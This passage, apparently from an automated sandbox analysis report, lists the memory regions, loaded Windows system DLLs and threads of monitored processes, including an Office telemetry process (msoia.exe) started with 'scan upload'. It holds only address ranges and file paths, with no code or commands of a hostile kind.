"c:\\windows\\system32\\wintrust.dll") Region: id = 2855 start_va = 0x7fefd6c0000 end_va = 0x7fefd6d9fff entry_point = 0x7fefd6c0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2856 start_va = 0x7fefd750000 end_va = 0x7fefd8b6fff entry_point = 0x7fefd750000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2857 start_va = 0x7fefd8c0000 end_va = 0x7fefd8f5fff entry_point = 0x7fefd8c0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2858 start_va = 0x7fefda80000 end_va = 0x7fefdbacfff entry_point = 0x7fefda80000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2859 start_va = 0x7fefdce0000 end_va = 0x7fefdcedfff entry_point = 0x7fefdce0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2860 start_va = 0x7fefdcf0000 end_va = 0x7fefdd60fff entry_point = 0x7fefdcf0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2861 start_va = 0x7fefdd70000 end_va = 0x7fefde38fff entry_point = 0x7fefdd70000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2862 start_va = 0x7fefde50000 end_va = 0x7fefebd7fff entry_point = 0x7fefde50000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2863 start_va = 0x7fefed90000 end_va = 0x7fefee6afff entry_point = 0x7fefed90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2864 start_va = 0x7fefee70000 end_va = 0x7feff072fff entry_point = 0x7fefee70000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2865 start_va = 0x7feff2e0000 end_va = 0x7feff37efff entry_point = 0x7feff2e0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2866 start_va = 0x7feff380000 end_va = 0x7feff456fff entry_point = 0x7feff380000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2867 start_va = 0x7feff540000 end_va = 0x7feff5a6fff entry_point = 0x7feff540000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2868 start_va = 0x7feff650000 end_va = 0x7feff826fff entry_point = 0x7feff650000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2869 start_va = 0x7feff830000 end_va = 0x7feff84efff entry_point = 0x7feff830000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2952 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2953 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2954 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2955 start_va = 0x170000 end_va = 0x171fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 2956 start_va = 0x180000 end_va = 0x180fff entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2957 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2958 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2959 start_va = 0x490000 end_va = 0x617fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000490000" filename = "" Region: id = 2960 start_va = 0x620000 end_va = 0x7a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 2961 start_va = 0x7b0000 end_va = 0x86ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007b0000" filename = "" Region: id = 2962 start_va = 0x870000 end_va = 0xc62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 2963 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 2964 start_va = 0xd10000 end_va = 0xfdefff entry_point = 0xd10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2965 start_va = 0x7fee2100000 end_va = 0x7fee219ffff entry_point = 0x7fee2100000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2966 start_va = 0x7feeb800000 end_va = 0x7feeb8e1fff entry_point = 0x7feeb800000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 2967 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2968 start_va = 0x7fefd970000 end_va = 0x7fefda78fff entry_point = 0x7fefd970000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2969 start_va = 0x7fefebe0000 end_va = 0x7fefec0dfff entry_point = 0x7fefebe0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2970 start_va = 0x10c0000 end_va = 0x10cffff entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 2971 start_va = 0x10d0000 end_va = 0x11cffff entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 2972 start_va = 0x7fefd4d0000 end_va = 0x7fefd50cfff entry_point = 0x7fefd4d0000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 2973 start_va = 0x1270000 end_va = 0x136ffff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 2974 start_va = 0x1370000 end_va = 0x146ffff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 2975 start_va = 0x7fefa940000 end_va = 0x7fefa9e6fff entry_point = 0x7fefa940000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 2976 start_va = 0x7fefba20000 end_va = 0x7fefba37fff entry_point = 0x7fefba20000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2977 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2978 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2979 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2991 start_va = 0x7fef97e0000 end_va = 0x7fef99fcfff entry_point = 0x7fef97e0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2992 start_va = 0x7fef9a00000 end_va = 0x7fef9d15fff entry_point = 0x7fef9a00000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 3260 start_va = 0x320000 end_va = 0x320fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000320000" filename = "" Region: id = 3261 start_va = 0x330000 end_va = 0x330fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000330000" filename = "" Region: id = 3262 start_va = 0x340000 end_va = 0x341fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000340000" filename = "" Region: id = 3263 start_va = 0x350000 end_va = 0x357fff entry_point = 0x350000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 3264 start_va = 0x360000 end_va = 0x361fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 3265 start_va = 0x370000 end_va = 0x373fff entry_point = 0x370000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 3266 start_va = 0xc70000 end_va = 0xc73fff entry_point = 0xc70000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 3267 start_va = 0xc80000 end_va = 0xc80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 3268 start_va = 0xfe0000 end_va = 0xfe0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 3269 start_va = 0x1070000 end_va = 0x107ffff entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 3270 start_va = 0x1470000 end_va = 0x156ffff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 3271 start_va = 0x1570000 end_va = 0x166ffff entry_point = 0x0 region_type = private name = "private_0x0000000001570000" filename = "" Region: id = 3272 start_va = 0x1700000 end_va = 0x17fffff entry_point = 0x0 region_type = private name = "private_0x0000000001700000" filename = "" Region: id = 3273 start_va = 0x1800000 end_va = 0x18bffff entry_point = 0x1800000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 3274 start_va = 0x18c0000 end_va = 0x19bffff entry_point = 0x0 region_type = private name = "private_0x00000000018c0000" filename = "" Region: id = 3275 start_va = 0x19c0000 end_va = 0x1abffff entry_point = 0x0 region_type = private name = "private_0x00000000019c0000" filename = "" Region: id = 3276 start_va = 0x1b10000 end_va = 0x1c0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001b10000" filename = "" Region: id = 3277 start_va = 0x1c10000 end_va = 0x1f52fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c10000" filename = "" Region: id = 3278 start_va = 0x1f80000 end_va = 0x207ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 3279 start_va = 0x2150000 end_va = 0x21cffff entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 3280 start_va = 0x22a0000 end_va = 0x22affff entry_point = 0x0 region_type = private name = "private_0x00000000022a0000" filename = "" Region: id = 3281 start_va = 0x22d0000 end_va = 0x23cffff entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 3282 start_va = 0x25b0000 end_va = 0x26affff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3283 start_va = 0x777b0000 end_va = 0x777b2fff entry_point = 0x777b0000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 3284 start_va = 0x7fef46b0000 end_va = 0x7fef46cbfff entry_point = 0x7fef46b0000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 3285 start_va = 0x7fef46d0000 end_va = 0x7fef4731fff entry_point = 0x7fef46d0000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 3286 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3287 start_va = 0x7fef61c0000 end_va = 0x7fef6223fff entry_point = 0x7fef61c0000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3288 start_va = 0x7fef6230000 end_va = 0x7fef62a0fff entry_point = 0x7fef6230000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 3289 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 3290 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 3291 start_va = 0x7fefae40000 end_va = 0x7fefae48fff entry_point = 0x7fefae40000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 3292 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3293 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 3294 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3295 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 3296 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 3297 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3298 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 3299 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 3300 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 3301 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3302 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3303 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3304 start_va = 0x7fefd900000 end_va = 0x7fefd94cfff entry_point = 0x7fefd900000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3305 start_va = 0x7fefdbb0000 end_va = 0x7fefdcd9fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 3306 start_va = 0x7fefde40000 end_va = 0x7fefde47fff entry_point = 0x7fefde40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3307 start_va = 0x7fefec10000 end_va = 0x7fefed87fff entry_point = 0x7fefec10000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 3308 start_va = 0x7feff080000 end_va = 0x7feff2d8fff entry_point = 0x7feff080000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 3309 start_va = 0x7feff4e0000 end_va = 0x7feff531fff entry_point = 0x7feff4e0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3310 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 3311 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 3312 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3313 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3314 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3315 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3316 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3317 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 3377 start_va = 0x7fef3280000 end_va = 0x7fef3298fff entry_point = 0x7fef3280000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 3378 start_va = 0x7fefade0000 end_va = 0x7fefadf4fff entry_point = 0x7fefade0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 3379 start_va = 0x7fefadd0000 end_va = 0x7fefaddafff entry_point = 0x7fefadd0000 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 3380 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3381 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 3382 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 3383 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3384 start_va = 0xff0000 end_va = 0xff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ff0000" filename = "" Region: id = 3385 start_va = 0x1000000 end_va = 0x1000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 3386 start_va = 0x2520000 end_va = 0x259ffff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 3387 start_va = 0x26b0000 end_va = 0x28affff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3388 start_va = 0x2950000 end_va = 0x2a4ffff entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 3389 start_va = 0x2ad0000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 3390 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 3391 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 3392 start_va = 0x7fefb4d0000 end_va = 0x7fefb4fbfff entry_point = 0x7fefb4d0000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 3393 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 3394 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 3395 start_va = 0x7fefcf90000 end_va = 0x7fefcfb1fff entry_point = 0x7fefcf90000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 3396 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 3397 start_va = 0x7fefd510000 end_va = 0x7fefd523fff entry_point = 0x7fefd510000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 3398 start_va = 0x7feff5b0000 end_va = 0x7feff648fff entry_point = 0x7feff5b0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3399 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 3400 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Thread: id = 188 os_tid = 0x82c Thread: id = 196 os_tid = 0x9f0 Thread: id = 198 os_tid = 0x318 Thread: id = 250 os_tid = 0xb68 Thread: id = 251 os_tid = 0xb78 Thread: id = 254 os_tid = 0xb70 Thread: id = 256 os_tid = 0x7a0 Thread: id = 258 os_tid = 0xbcc Thread: id = 262 os_tid = 0xbc0 Thread: id = 263 os_tid = 0xbd4 Thread: id = 265 os_tid = 0xbd0 Thread: id = 273 os_tid = 0x660 Thread: id = 275 os_tid = 0x764 Thread: id = 276 os_tid = 0x8e0 Thread: id = 278 os_tid = 0x4f8 Thread: id = 282 os_tid = 0x650 Process: id = "18" image_name = "msoia.exe" filename = "c:\\program files\\microsoft office\\root\\office16\\msoia.exe" page_root = "0x6d15c000" os_pid = "0x6d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x5d4" cmd_line = "\"C:\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe\" scan upload" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7e8" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2665 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2666 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2667 start_va = 0x110000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2668 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2669 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2670 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2671 start_va = 0x13f140000 end_va = 0x13f481fff entry_point = 0x13f140000 region_type = mapped_file name = "msoia.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msoia.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msoia.exe") Region: id = 2672 start_va = 0x7feff900000 end_va = 0x7feff900fff entry_point = 0x7feff900000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2673 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2674 start_va = 